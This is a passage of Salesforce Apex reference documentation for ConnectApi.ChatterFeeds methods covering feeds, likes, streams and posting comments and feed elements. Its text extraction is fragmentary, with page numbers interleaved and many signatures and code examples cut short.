Important: In version 32.0 and later, use getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix).
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage getFeedItemsFromFilterFeed(String communityId,
String subjectId, String keyPrefix)
Parameters
communityId
Type: String
subjectId
Type: String
keyPrefix
Type: String
Return Value
962
Usage
SEE ALSO:
setTestGetFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, result)
getFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize,

sortParam)
Returns the specified page of feed items for the specified user and the specified key prefix, in the specified order.
API Version
28.0–31.0
Important: In version 32.0 and later, use getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize,
sortParam).
Requires Chatter
Yes
Signature
String subjectId, String keyPrefix, String pageParam, Integer pageSize,
Parameters
communityId
Type: String
subjectId
Type: String
keyPrefix
Type: String
pageParam
Type: String
963
pageSize
Type: Integer
sortParam
Values are:
Return Value
Usage
SEE ALSO:
setTestGetFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam, result)
getFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount,

density, pageParam, pageSize, sortParam)
Returns the specified page of feed items for the specified user and the specified key prefix, in the specified order. Each feed item contains
no more than the specified number of comments.
API Version
29.0–31.0
Important: In version 32.0 and later, use getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount,
elementsPerBundle, density, pageParam, pageSize, sortParam).
Requires Chatter
Yes
964
Signature
String subjectId, String keyPrefix, Integer recentCommentCount, ConnectApi.FeedDensity
density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)
Parameters
communityId
Type: String
subjectId
Type: String
keyPrefix
Type: String
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
965
Return Value
Usage
SEE ALSO:
setTestGetFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize,
sortParam, result)
getFeedItemsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix,

recentCommentCount, density, pageParam, pageSize, updatedSince)
Returns the specified page of feed items for the specified user and the specified key prefix. Includes only feed items that have been
updated since the time specified in the updatedSince parameter.
API Version
30.0–31.0
Important: In version 32.0 and later, use getFeedElementsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix,

recentCommentCount, elementsPerBundle, density, pageParam, pageSize, updatedSince).
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage getFeedItemsFromFilterFeedUpdatedSince(String
communityId, String subjectId, String keyPrefix, Integer recentCommentCount,
Parameters
communityId
Type: String
966
subjectId
Type: String
keyPrefix
Type: String
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
updatedSince
Type: String
An opaque token containing information about the last modified date of the feed. Do not construct this token. To retrieve this token,
call getFeedItemsFromFilterFeed and take the value from the updatesToken property of the
ConnectApi.FeedItemPage response body.
Return Value
A paged collection of ConnectApi.FeedItem objects.
Usage
This method returns only feed items that have been updated since the time specified in the updatedSince argument. A feed item
is considered to be updated if it was created since the last feed request, or if sort=LastModifiedDateDesc and a comment
was added to the feed item since the last feed request. Adding likes and topics doesn’t update a feed item.
967
SEE ALSO:
setTestGetFeedItemsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam,
pageSize, sortParam, updatedSince, result)
getFeedItemsUpdatedSince(communityId, feedType, recentCommentCount, density,

pageParam, pageSize, updatedSince)
Returns the specified page of feed items for the Company, Home, and Moderation feed types. Includes only feed items that have
been updated since the time specified in the updatedSince parameter. Each feed item contains no more than the specified number
of comments.
API Version
30.0–31.0
Important: In version 32.0 and later, use getFeedElementsUpdatedSince(communityId, feedType, recentCommentCount, density,
pageParam, pageSize, updatedSince).

31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage getFeedItemsUpdatedSince(String communityId,
String pageParam, Integer pageSize, String updatedSince)
Parameters
communityId
Type: String
feedType
and PendingReview.
recentCommentCount
Type: Integer
968
density
pageParam
Type: String
pageSize
Type: Integer
updatedSince
Type: String
from the updatesToken property of the ConnectApi.FeedItemPage response body.
Return Value
Usage
Example
This example gets the feed items in the company feed and grabs the updatesToken property from the returned object. It then
passes the value of updatesToken to the getFeedItemsUpdatedSince method to get the feed items updated since the
first call:
// Get the feed items in the company feed and return the updatesToken
// Get the feed and extract the update token

ConnectApi.FeedItemPage page = ConnectApi.ChatterFeeds.getFeedItemsFromFeed(communityId,
ConnectApi.FeedType.Company);
// page.updatesToken is opaque and has a value like '2:1384549034000'
969
// Get the feed items that changed since the provided updatesToken
ConnectApi.FeedItemPage feedItems= ConnectApi.ChatterFeeds.getFeedItemsUpdatedSince
(communityId, ConnectApi.FeedType.Company, 1, ConnectApi.FeedDensity.AllUpdates, null,
1, page.updatesToken);
SEE ALSO:
setTestGetFeedItemsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince,
ConnectApi.FeedItemPage, results)
getFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount,

Returns the specified page of feed items for the Files, Groups, News, People, and Record feed types. Includes only feed
items that have been updated since the time specified in the updatedSince parameter. Each feed item contains no more than the
API Version
30.0–31.0
Important: In version 32.0 and later, use getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, updatedSince).

31.0 only
Requires Chatter
Yes
Signature
Parameters
communityId
Type: String
feedType
• Files
• Groups
970
• News
• People
• Record
subjectId
Type: String
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
updatedSince
Type: String
Return Value
Usage
971
Example
This example gets the feed items in the news feed and grabs the updatesToken property from the returned object. It then passes
the value of updatesToken to the getFeedItemsUpdatedSince method to get the feed items updated since the first call:
// Get the feed items in the news feed and return the updatesToken
String subjectId = 'me';

ConnectApi.FeedType.News, subjectId);
(communityId, ConnectApi.FeedType.News, subjectId, 1, ConnectApi.FeedDensity.AllUpdates,
null, 1, page.updatesToken);
SEE ALSO:
setTestGetFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
updatedSince, result)
getFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount,

density, pageParam, pageSize, updatedSince, showInternalOnly)
Returns the specified page of feed items for the Record feed type. Includes only feed items that have been updated since the time
specified in the updatedSince parameter. Specify whether to return feed items posted by internal (non-community) users only.
API Version
30.0–31.0
Important: In version 32.0 and later, use getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, updatedSince, showInternalOnly).

31.0 only
Requires Chatter
Yes
Signature
Boolean showInternalOnly)
972
Parameters
communityId
Type: String
feedType
subjectId
Type: String
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
updatedSince
Type: String
showInternalOnly
Type: Boolean
false.
Return Value
973
Usage
If showInternalOnly is true and Salesforce Communities is enabled, feed items from communities are included. Otherwise,
only feed items from the internal community are included.
Example
This example gets the feed items in the news feed and grabs the updatesToken property from the returned object. It then passes
the value of updatesToken to the getFeedItemsUpdatedSince method to get the feed items updated since the first call:
// Get the feed items in the news feed and return the updatesToken

ConnectApi.FeedType.News, subjectId);
(communityId, ConnectApi.FeedType.News, subjectId, 1, ConnectApi.FeedDensity.AllUpdates,
null, 1, page.updatesToken, true);
SEE ALSO:
setTestGetFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
updatedSince, showInternalOnly, result)
getFeedPoll(communityId, feedItemId)
Returns the poll associated with the feed item.
API Version
28.0–31.0
Important: In version 32.0 and later, use getFeedElementPoll(communityId, feedElementId).
Requires Chatter
Yes
974
Signature
public static ConnectApi.FeedPoll getFeedPoll(String communityId, String feedItemId)
Parameters
communityId
Type: String
feedItemId
Type: String
Return Value
Type: ConnectApi.FeedPoll
getFeedWithFeedElements(communityId, feedType, pageSize)

Get information about the feed and a page of feed elements for the feed type.
API Version
40.0

40.0
Requires Chatter
Yes
Signature
public static ConnectApi.Feed getFeedWithFeedElements(String communityId,
ConnectApi.FeedType feedType, Integer pageSize)
Parameters
communityId
Type: String
feedType
975
The type of feed. Valid values are Company, DirectMessageModeration, DirectMessages, Home, Landing,
Moderation, and PendingReview. Landing is valid only when communityId is internal.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in 0, feed elements aren’t returned
with the feed.
Return Value
getFeedWithFeedElements(communityId, feedType, pageSize, recentCommentCount)

Get a page of information about the feed and the feed elements with the specified number of comments per feed element for the feed
type.
API Version
40.0

40.0
Requires Chatter
Yes
Signature
public static ConnectApi.Feed getFeedWithFeedElements(String communityId,
ConnectApi.FeedType feedType, Integer pageSize, Integer recentCommentCount)
Parameters
communityId
Type: String
feedType
The type of feed. Valid values are Company, DirectMessageModeration, DirectMessages, Home, Landing,
Moderation, and PendingReview. Landing is valid only when communityId is internal.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in 0, feed elements aren’t returned
with the feed.
recentCommentCount
Type: Integer
976
Return Value
getFilterFeed(communityId, subjectId, keyPrefix)

Returns the first page of a feed for the specified user and the given key prefix.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.Feed getFilterFeed(String communityId, String subjectId, String
keyPrefix)
Parameters
communityId
Type: String
subjectId
Type: String
keyPrefix
Type: String
A key prefix is the first three characters of a record ID, which specifies the entity type.
Return Value
getFilterFeed(communityId, subjectId, keyPrefix, sortParam)

Returns the first page of a feed in the specified order for the specified user and the given key prefix.
API Version
28.0
977
Requires Chatter
Yes
Signature
public static ConnectApi.Feed getFilterFeed(String communityId, String subjectId, String
keyPrefix, ConnectApi.FeedType sortParam)
Parameters
communityId
Type: String
subjectId
Type: String
keyPrefix
Type: String
sortParam
Values are:
Return Value
getFilterFeedDirectory(communityId, subjectId)
Gets a feed directory object that contains a list of filter feeds available to the context user. A filter feed is the news feed filtered to include
feed items whose parent is a specific entity type.
API Version
30.0
978
Requires Chatter
Yes
Signature
public static ConnectApi.FeedDirectory getFilterFeedDirectory(String communityId, String
subjectId)
Parameters
communityId
Type: String
subjectId
Type: String
Return Value
Type: ConnectApi.FeedDirectory
A directory containing a list of filter feeds.
Usage
Call this method to return a directory containing a list of ConnectApi.FeedDirectoryItem objects. Each object contains a
key prefix associated with an entity type the context user is following. A key prefix is the first three characters of a record ID, which specifies
the entity type.
Use the key prefixes to filter the news feed so that it contains only feed items whose parent is the entity type associated with the key
prefix, for example, get all the feed items whose parent is an Account. To get the feed items, pass a key prefix to the
ConnectApi.getFeedItemsFromFilterFeed method.
The information about filter feeds never contains the key prefixes for the User (005) or Group (0F9) entity types, but all users can use
those key prefixes as filters.
The ConnectApi.FeedDirectory.favorites property is always empty when returned by a call to
getFilterFeedDirectory because you can’t filter a news feed by favorites.
Example
This example calls getFilterFeedDirectory and loops through the returned FeedDirectoryItem objects to find the
key prefixes the context user can use to filter their news feed. It then copies each keyPrefix value to a list. Finally, it passes one of
the key prefixes from the list to the getFeedItemsFromFilterFeed method. The returned feed items include every feed item
from the news feed whose parent is the entity type specified by the passed key prefix.
// Create a list to populate with key prefixes.

List<String> keyPrefixList = new List<String>();
979
// Prepopulate with User and Group record types

// which are available to all users.
keyPrefixList.add('005');
keyPrefixList.add('0F9');
System.debug(keyPrefixList);
// Get the key prefixes available to the context user.

ConnectApi.FeedDirectory myFeedDirectory =
ConnectApi.ChatterFeeds.getFilterFeedDirectory(null, 'me');
// Loop through the returned feeds list.

for (ConnectApi.FeedDirectoryItem i : myFeedDirectory.feeds) {
// Grab each key prefix and add it to the list.

keyPrefixList.add(i.keyPrefix);
}
System.debug(keyPrefixList);
// Use a key prefix from the list to filter the feed items in the news feed.
ConnectApi.FeedItemPage myFeedItemPage =
ConnectApi.ChatterFeeds.getFeedItemsFromFilterFeed(communityId, subjectId,
keyPrefixList[0]);
System.debug(myFeedItemPage);
getLike(communityId, likeId)
Returns the specified like.
API Version
28.0

32.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterLike getLike(String communityId, String likeId)
Parameters
communityId
Type: String
980
likeId
Type: String
The ID for a like.
Return Value
Type: ConnectApi.ChatterLike
getLikesForComment(communityId, commentId)
Returns the first page of likes for the specified comment. The page contains the default number of items.
API Version
28.0

31.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterLikePage getLikesForComment(String communityId, String
commentId)
Parameters
communityId
Type: String
commentId
Type: String
Return Value
Type: ConnectApi.ChatterLikePage
getLikesForComment(communityId, commentId, pageParam, pageSize)

Returns the specified page of likes for the specified comment.
API Version
28.0
981

31.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterLikePage getLikesForComment(String communityId, String
commentId, Integer pageParam, Integer pageSize)
Parameters
communityId
Type: String
commentId
Type: String
pageParam
Type: Integer
pageSize
Type: Integer
Return Value
getLikesForFeedElement(communityId, feedElementId)
Get the first page of likes for a feed element.
API Version
32.0

32.0
Requires Chatter
Yes
982
Signature
public static ConnectApi.ChatterLikePage getLikesForFeedElement(String communityId,
Parameters
communityId
Type: String
feedElementId
Type: String
ID of the feed element.
Return Value
Type: ConnectApi.ChatterLikePage Class
If the feed element doesn’t support the ChatterLikes capability, the return value is ConnectApi.NotFoundException.
getLikesForFeedElement(communityId, feedElementId, pageParam, pageSize)

Returns the specified page of likes for a feed element.
API Version
32.0

32.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterLikePage getLikesForFeedElement(String communityId,
String feedElementId, Integer pageParam, Integer pageSize)
Parameters
communityId
Type: String
feedElementId
Type: String
983
pageParam
Type: String
pageSize
Type: Integer
Return Value
Type: ConnectApi.ChatterLikePage Class
getLikesForFeedItem(communityId, feedItemId)
Returns the first page of likes for the specified feed item. The page contains the default number of items.
API Version
28.0–31.0
Important: In version 32.0 and later, use getLikesForFeedElement(communityId, feedElementId).

31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterLikePage getLikesForFeedItem(String communityId, String
feedItemId)
Parameters
communityId
Type: String
feedItemId
Type: String
Return Value
984
getLikesForFeedItem(communityId, feedItemId, pageParam, pageSize)

Returns the specified page of likes for the specified feed item.
API Version
28.0–31.0
Important: In version 32.0 and later, use getLikesForFeedElement(communityId, feedElementId, pageParam, pageSize).

31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterLikePage getLikesForFeedItem(String communityId, String
feedItemId, Integer pageParam, Integer pageSize)
Parameters
communityId
Type: String
feedItemId
Type: String
pageParam
Type: Integer
pageSize
Type: Integer
Return Value
getPinnedFeedElementsFromFeed(communityId, feedType, subjectId) (Beta)

Get pinned feed elements from a group or topic feed.
Note: This release contains a beta version of pinned posts, which means it’s a high-quality feature with known limitations. Post
pinning isn’t generally available unless or until Salesforce announces its general availability in documentation or in press releases
or public statements. We can’t guarantee general availability within any particular time frame or at all. Make your purchase decisions
985
only on the basis of generally available products and features. You can provide feedback and suggestions for pinned posts in the
Trailblazer Community.
API Version
41.0

41.0
Requires Chatter
Yes
Signature
public static ConnectApi.PinnedFeedElements getPinnedFeedElementsFromFeed(String
communityId, ConnectApi.FeedType feedType, String subjectId)
Parameters
communityId
Type: String
feedType
The type of feed. Valid values are Record and Topics.
subjectId
Type: String
If feedType is Record, subjectId must be a group ID. If feedType is Topics, subjectId must be a topic ID.
Return Value
Type: ConnectApi.PinnedFeedElements
If the feed doesn’t support this capability, the return value is ConnectApi.NotFoundException.
getReadByForFeedElement(communityId, feedElementId)
Get information about who read a feed element and when.
API Version
40.0
Requires Chatter
Yes
986
Signature
public static ConnectApi.ReadByPage getReadByForFeedElement(String communityId, String
feedElementId)
Parameters
communityId
Type: String
feedElementId
Type: String
Return Value
Type: ConnectApi.ReadByPage
getReadByForFeedElement(communityId, feedElementId, pageParam, pageSize)

Get a page of information about who read a feed element and when.
API Version
40.0
Requires Chatter
Yes
Signature
public static ConnectApi.ReadByPage getReadByForFeedElement(String communityId, String
feedElementId, Integer pageParam, Integer pageSize)
Parameters
communityId
Type: String
feedElementId
Type: String
pageParam
Type: String
987
pageSize
Type: Integer
Return Value
Type: ConnectApi.ReadByPage
getRelatedPosts(communityId, feedElementId, filter, maxResults)

Get posts related to the context feed element.
API Version
37.0

37.0
Requires Chatter
Yes
Signature
public static ConnectApi.RelatedFeedPosts getRelatedPosts(String communityId, String
feedElementId, ConnectApi.RelatedFeedPostType filter, Integer maxResults)
Parameters
communityId
Type: String
feedElementId
Type: String
ID of the feed element. The feed element must be a question.
filter
Type: ConnectApi.RelatedFeedPostType
Specifies the type of related post. Values are:
• Answered—Related questions that have at least one answer.
• BestAnswer—Related questions that have a best answer.
• Generic—All types of related questions, including answered, with a best answer, and unanswered.
• Unanswered—Related questions that don’t have answers.
Generic is the default value.
988
maxResults
Type: Integer
The maximum number of results to return. You can return up to 25 results; 5 is the default.
Return Value
Type: ConnectApi.RelatedFeedPosts
In version 37.0 and later, related feed posts are questions.
Each related feed post has a score indicating how closely it’s related to the context feed post. We return related feed posts sorted by
score, with the highest score first.
Usage
getStream(communityId, streamId)
Get information about a Chatter feed stream.
API Version
39.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterStream getStream(String communityId, String streamId)
Parameters
communityId
Type: String
streamId
Type: String
Return Value
getStream(communityId, streamId, globalScope) (Pilot)

Get information about a Chatter feed stream, regardless of community.
989
Note: We provide the globalScope parameter to selected customers through a pilot program that requires agreement to
specific terms and conditions. To be nominated to participate in the program, contact Salesforce. Pilot programs are subject to
change, and we can’t guarantee acceptance. The globalScope parameter isn’t generally available unless or until Salesforce
announces its general availability in documentation or in press releases or public statements. We can’t guarantee general availability
within any particular time frame or at all. Make your purchase decisions only on the basis of generally available products and
features.
API Version
41.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterStream getStream(String communityId, String streamId,
Boolean globalScope)
Parameters
communityId
Type: String
streamId
Type: String
globalScope
Type: Boolean
Specifies whether to get streams from all the context user’s communities, regardless of the communityId value.
Tip: If you know the community ID for the stream, we recommend setting globalScope to false.
Return Value
getStreams(communityId)
Get the Chatter feed streams for the context user.
API Version
39.0
Requires Chatter
Yes
990
Signature
public static ConnectApi.ChatterStreamPage getStreams(String communityId)
Parameters
communityId
Type: String
Return Value
Type: ConnectApi.ChatterStreamPage
getStreams(communityId, sortParam)
Get and sort the Chatter feed streams for the context user.
API Version
40.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterStreamPage getStreams(String communityId,
ConnectApi.SortOrder sortParam)
Parameters
communityId
Type: String
sortParam
Type: ConnectApi.SortOrder
Specifies the sort order. Values are:
• Ascending—Items are in ascending alphabetical order (A-Z).
• Descending—Items are in descending alphabetical order (Z-A).
• MostRecentlyViewed—Items are in descending chronological order by view. This sort order is valid only for Chatter feed
streams.
If not specified, default value is Ascending.
Return Value
991
getStreams(communityId, pageParam, pageSize)

Get a page of Chatter feed streams for the context user.
API Version
39.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterStreamPage getStreams(String communityId, Integer
Parameters
communityId
Type: String
pageParam
Type: Integer
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 to 250. The default size is 25.
Return Value
getStreams(communityId, pageParam, pageSize, sortParam)

Get a sorted page of Chatter feed streams for the context user.
API Version
40.0
Requires Chatter
Yes
Signature
pageParam, Integer pageSize, ConnectApi.SortOrder sortParam)
992
Parameters
communityId
Type: String
pageParam
Type: Integer
pageSize
Type: Integer
sortParam
streams.
Return Value
getStreams(communityId, pageParam, pageSize, sortParam, globalScope) (Pilot)

Get a sorted page of Chatter feed streams from all communities for the context user.
features.
API Version
41.0
Requires Chatter
Yes
Signature
pageParam, Integer pageSize, ConnectApi.SortOrder sortParam, Boolean globalScope)
993
Parameters
communityId
Type: String
pageParam
Type: Integer
pageSize
Type: Integer
sortParam
streams.
globalScope
Type: Boolean
Tip: If you know the community ID for the streams, we recommend setting globalScope to false.
Return Value
getSupportedEmojis()
Get supported emojis for the org.
API Version
39.0
Requires Chatter
Yes
Signature
public static ConnectApi.SupportedEmojis getSupportedEmojis()
994
Return Value
Type: ConnectApi.SupportedEmojis
Usage
To get the list, emojis must be enabled in your org.
isCommentEditableByMe(communityId, commentId)
Indicates whether the context user can edit a comment.
API Version
34.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedEntityIsEditable isCommentEditableByMe(String communityId,
String commentId)
Parameters
communityId
Type: String
commentId
Type: String
ID of the comment.
Return Value
Type: ConnectApi.FeedEntityIsEditable
If the comment doesn’t support the edit capability, the return value is ConnectApi.NotFoundException.
SEE ALSO:
Edit a Comment
isFeedElementEditableByMe(communityId, feedElementId)
Indicates whether the context user can edit a feed element. Feed items are the only type of feed element that can be edited.
API Version
34.0
995
Requires Chatter
Yes
Signature
public static ConnectApi.FeedEntityIsEditable isFeedElementEditableByMe(String
communityId, String feedElementId)
Parameters
communityId
Type: String
feedElementId
Type: String
ID of the feed element. Feed items are the only type of feed element that can be edited.
Return Value
Type: ConnectApi.FeedEntityIsEditable
If the feed element doesn’t support the edit capability, the return value is ConnectApi.NotFoundException.
SEE ALSO:
Edit a Feed Element
isModified(communityId, feedType, subjectId, since)

Returns information about whether a news feed has been updated or changed. Use this method to poll a news feed for updates.
Important: This feature is available through a Feed Polling pilot program. This pilot program is closed and not accepting new
participants.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedModifiedInfo isModified(String communityId,
ConnectApi.FeedType feedType, String subjectId, String since)
996
Parameters
communityId
Type: String
feedType
Specifies the type of feed. The only supported type is News
subjectId
Type: String
since
Type: String
An opaque token containing information about the last modified date of the feed. Retrieve this token from the
FeedElementPage.isModifiedToken property.
Return Value
Type: ConnectApi.FeedModifiedInfo
likeComment(communityId, commentId)
Adds a like to the specified comment for the context user. If the user has already liked this comment, this is a non-operation and returns
the existing like.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterLike likeComment(String communityId, String commentId)
Parameters
communityId
Type: String
commentId
Type: String
997
Return Value
likeFeedElement(communityId, feedElementId)
Like a feed element.
API Version
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterLike likeFeedElement(String communityId, String
feedElementId)
Parameters
communityId
Type: String
feedElementId
Type: String
Return Value
Example
'0D5D0000000KuGh');
likeFeedItem(communityId, feedItemId)
Adds a like to the specified feed item for the context user. If the user has already liked this feed item, this is a non-operation and returns
the existing like.
API Version
28.0–31.0
Important: In version 32.0 and later, use likeFeedElement(communityId, feedElementId).
998
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterLike likeFeedItem(String communityId, String feedItemId)
Parameters
communityId
Type: String
feedItemId
Type: String
Return Value
postComment(communityId, feedItemId, text)

Adds the specified text as a comment to the feed item, for the context user.
API Version
28.0–31.0
Important: In version 32.0 and later, use postCommentToFeedElement(communityId, feedElementId, text).
Requires Chatter
Yes
Signature
public static ConnectApi.Comment postComment(String communityId, String feedItemId,
String text)
Parameters
communityId
Type: String
feedItemId
Type: String
999
text
Type: String
The text of the comment. Mentions are downgraded to plain text. To include a mention that links to a user, call
postComment(communityId, feedItemId, comment, feedItemFileUpload) and pass the mention in a
ConnectApi.CommentInput object.
Return Value
Usage
If hashtags or links are detected in text, they are included in the comment as hashtag and link segments. Mentions are not detected
in text and are not separated out of the text.
Feed items and comments can contain up to 10,000 characters.
postComment(communityId, feedItemId, comment, feedItemFileUpload)

Adds a comment to the feed item from the context user. Use this method to use rich text, including mentions, and to attach a file to a
comment.
API Version
28.0–31.0
Important: In version 32.0 and later, use postCommentToFeedElement(communityId, feedElementId, comment,

feedElementFileUpload).
Requires Chatter
Yes
Signature
public static ConnectApi.Comment postComment(String communityId, String feedItemId,
ConnectApi.CommentInput comment, ConnectApi.BinaryInput feedItemFileUpload)
Parameters
communityId
Type: String
feedItemId
Type: String
comment
Type: ConnectApi.CommentInput
1000
In the CommentInput object, specify rich text, including @mentions. Optionally, in the CommentInput.attachment
property, specify an existing file or a new file
feedItemFileUpload
Type: ConnectApi.BinaryInput
If you specify a NewFileAttachmentInput object in the CommentInput.attachment property, specify the new
binary file to attach in this argument. Otherwise, do not specify a value.
Return Value
Usage
Sample: Posting a Comment with a New File Attachment

To post a comment and upload and attach a new file to the comment, create a ConnectApi.CommentInput object and a
ConnectApi.BinaryInput object to pass to the ConnectApi.ChatterFeeds.postComment method.

String feedItemId = '0D5D0000000Kcd1';


textSegment.text = 'Comment Text Body';

ConnectApi.NewFileAttachmentInput attachmentInput = new ConnectApi.NewFileAttachmentInput();

attachmentInput.description = 'The description of the file';
attachmentInput.title = 'contentFile.txt';
input.attachment = attachmentInput;
String fileContents = 'This is the content of the file.';

Blob fileBlob = Blob.valueOf(fileContents);
ConnectApi.BinaryInput binaryInput = new ConnectApi.BinaryInput(fileBlob, 'text/plain',
'contentFile.txt');
ConnectApi.Comment commentRep = ConnectApi.ChatterFeeds.postComment(communityId, feedItemId,

input, binaryInput);
postCommentToFeedElement(communityId, feedElementId, text)

Post a plain text comment to a feed element.
1001
API Version
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.Comment postCommentToFeedElement(String communityId, String
feedElementId, String text)
Parameters
communityId
Type: String
feedElementId
Type: String
text
Type: String
Text of the comment. A comment can contain up to 10,000 characters.
Return Value
Example
ConnectApi.Comment comment = ConnectApi.ChatterFeeds.postCommentToFeedElement(null,
'0D5D0000000KuGh', 'I agree with the proposal.' );

Post a comment to a feed element. Use this method to post rich text, including mentions, and to attach a file. A comment can contain
up to 10,000 characters.
API Version
32.0
Requires Chatter
Yes
1002
Signature
public static ConnectApi.Comment postCommentToFeedElement(String communityId, String
feedElementId, ConnectApi.CommentInput comment, ConnectApi.BinaryInput
feedElementFileUpload)
Parameters
communityId
Type: String
feedElementId
Type: String
comment
The comment body, including text and mentions, and capabilities, such as information about an attached file.
feedElementFileUpload
A new binary file to attach to the comment, or null. If you specify a binary file, specify the title and description of the file in the
comment parameter.
Return Value
Example for Posting a Comment with Mentions

You can post comments with mentions two ways. Use the ConnectApiHelper repository on GitHub to write a single line of code, or use
this method example.

textSegmentInput.text = 'Does anyone in this group have an idea? ';

mentionSegmentInput.id = '005D00000000oOT';
1003
ConnectApi.Comment commentRep = ConnectApi.ChatterFeeds.postCommentToFeedElement(communityId,

feedElementId, commentInput, null);
Example for Posting a Comment with an Existing File


textSegmentInput.text = 'I attached this file from Salesforce Files.';


contentCapabilityInput.contentDocumentId = '069D00000001rNJ';
commentInput, null);
Example for Posting a Comment with a New File


textSegmentInput.text = 'Enjoy this new file.';


1004
contentCapabilityInput.title = 'Title';

'fileName');
commentInput, binInput);
Example for Posting a Rich-Text Comment with an Inline Image

You can post rich-text comments with inline images and mentions two ways. Use the ConnectApiHelper repository on GitHub to write
a single line of code, or use this method example. In this example, the image file is existing content that has already been uploaded to
Salesforce.
String imageId = '069R00000000IgQ';
String mentionedUserId = '005R0000000DiMz';





1005

Example for Posting a Rich-Text Comment with a Code Block





postFeedElement(communityId, subjectId, feedElementType, text)

API Version
31.0
Requires Chatter
Yes
1006
Signature
public static ConnectApi.FeedElement postFeedElement(String communityId, String
subjectId, ConnectApi.FeedElementType feedElementType, String text)
Parameters
communityId
Type: String
subjectId
Type: String
The ID of the parent this feed element is being posted to. This value can be the ID of a user, group, or record, or the string me to
indicate the context user.
feedElementType
Type: ConnectApi.FeedElementType
The only possible value is FeedItem.
text
Type: String
The text of the feed element. A feed element can contain up to 10,000 characters.
Return Value
Example
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), '0F9d0000000TreH',
ConnectApi.FeedElementType.FeedItem, 'On vacation this week.');
postFeedElement(communityId, feedElement, feedElementFileUpload)

Posts a feed element from the context user. Use this method to post rich text, including mentions and hashtag topics, to attach a file to
a feed element, and to associate action link groups with a feed element. You can also use this method to share a feed element and add
a comment.
API Version
31.0–35.0
Important: In version 36.0 and later, this method is no longer available because you can’t create a feed post and upload a binary
file in the same call. Upload files to Salesforce first, and then use postFeedElement(communityId, feedElement)
to create the feed post and attach the files.
Requires Chatter
Yes
1007
Signature
public static ConnectApi.FeedElement postFeedElement(String communityId,
ConnectApi.FeedElementInput feedElement, ConnectApi.BinaryInput feedElementFileUpload)
Parameters
communityId
Type: String
feedElement
Type: ConnectApi.FeedElementInput
Specify rich text, including mentions. Optionally, specify a link, a poll, an existing file, or a new file.
feedElementFileUpload
Specify the new binary file to attach to the post only if you also specify a NewFileAttachmentInput object in the
feedElement parameter. Otherwise, pass null.
Return Value
Example for Posting a Feed Element with a New (Binary) File

input.subjectId = 'me';
ConnectApi.ContentCapabilityInput contentInput = new ConnectApi.ContentCapabilityInput();



'fileName');
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), input, binInput);
postFeedElement(communityId, feedElement)
Posts a feed element from the context user. Use this method to post rich text, including mentions and hashtag topics, to attach already
uploaded files to a feed element, and to associate action link groups with a feed element. You can also use this method to share a feed
element and add a comment.
1008
API Version
36.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElement postFeedElement(String communityId,
ConnectApi.FeedElementInput feedElement)
Parameters
communityId
Type: String
feedElement
Specify rich text, including mentions. Optionally, specify a link, a poll, or up to 10 existing files.
Return Value
Example for Posting a Feed Element with a Mention

You can post feed elements with mentions two ways. Use the ConnectApiHelper repository on GitHub to write a single line of code, or
use this method example.
mentionSegmentInput.id = '005RR000000Dme9';
textSegmentInput.text = 'Could you take a look?';

feedItemInput.subjectId = '0F9RR0000004CPw';
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput, null);
1009
Example for Posting a Feed Element with Existing Content


textSegmentInput.text = 'Would you please review these docs?';


